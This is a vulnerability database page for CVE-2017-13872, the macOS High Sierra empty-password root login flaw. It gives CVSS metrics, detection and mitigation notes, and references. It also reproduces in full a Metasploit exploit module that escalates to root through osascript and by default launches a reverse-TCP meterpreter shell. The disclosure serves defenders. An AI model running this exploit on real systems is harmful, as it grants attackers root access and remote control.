CVE-2017-13872 : Detail

CVE-2017-13872

8.1
/
High
Authorization problems
A07-Identif. and Authent. Fail
72.8%V3
Network
2017-11-29
16h00 +00:00
2017-12-29
05h57 +00:00
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CVE Descriptions

An issue was discovered in certain Apple products. macOS High Sierra before Security Update 2017-001 is affected. The issue involves the "Directory Utility" component. It allows attackers to obtain administrator access without a password via certain interactions involving entry of the root user name.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.1 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 43248

Publication date : 2017-11-27 23h00 +00:00
Author : Lemiorhan
EDB Verified : Yes

## Source: https://twitter.com/lemiorhan/status/935578694541770752 & https://forums.developer.apple.com/thread/79235 "Dear @AppleSupport, we noticed a *HUGE* security issue at MacOS High Sierra. Anyone can login as "root" with empty password after clicking on login button several times. Are you aware of it @Apple?" ## Proof: https://twitter.com/patrickwardle/status/935608904377077761 ## Mitigation/Detection/Forensic: https://news.ycombinator.com/item?id=15800676 - Can be mitigated by enabling the root user with a strong password - Can be detected with `osquery` using `SELECT * FROM plist WHERE path = "/private/var/db/dslocal/nodes/Default/users/root.plist" AND key = "passwd" AND length(value) > 1;";` - You can see what time the root account was enabled using `SELECT * FROM plist WHERE path = "/private/var/db/dslocal/nodes/Default/users/root.plist" WHERE key = "accountPolicyData";` then base 64 decoding that into a file and then running `plutil -convert xml1` and looking at the `passwordLastSetTime` field. _Note: osquery needs to be running with `sudo` but if you have it deployed across a fleet of macs as a daemon then it will be running with `sudo` anyway._ _Note: You can get the same info with plutil(1): `$ sudo plutil -p /private/var/db/dslocal/nodes/Default/users/root.plist`_ ## Security Advisory: https://support.apple.com/en-gb/HT208315
Exploit Database EDB-ID : 43201

Publication date : 2017-11-29 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X Root Privilege Escalation', 'Description' => %q{ This module exploits a serious flaw in MacOSX High Sierra. Any user can login with user "root", leaving an empty password. }, 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ], [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ], [ 'URL', 'https://forums.developer.apple.com/thread/79235' ], ], 'Platform' => 'osx', 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp', }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 29 2017' )) end def exploit_cmd(root_payload) "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'" end def exploit payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" print_status("Writing payload file as '#{payload_file}'") write_file(payload_file, payload.raw) register_file_for_cleanup(payload_file) output = cmd_exec("chmod +x #{payload_file}") print_status("Executing payload file as '#{payload_file}'") cmd_exec(exploit_cmd(payload_file)) end end

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.13.0

Apple>>Mac_os_x >> Version 10.13.1

References

https://support.apple.com/HT208331
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1039875
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43201/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/43248/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/101981
Tags : vdb-entry, x_refsource_BID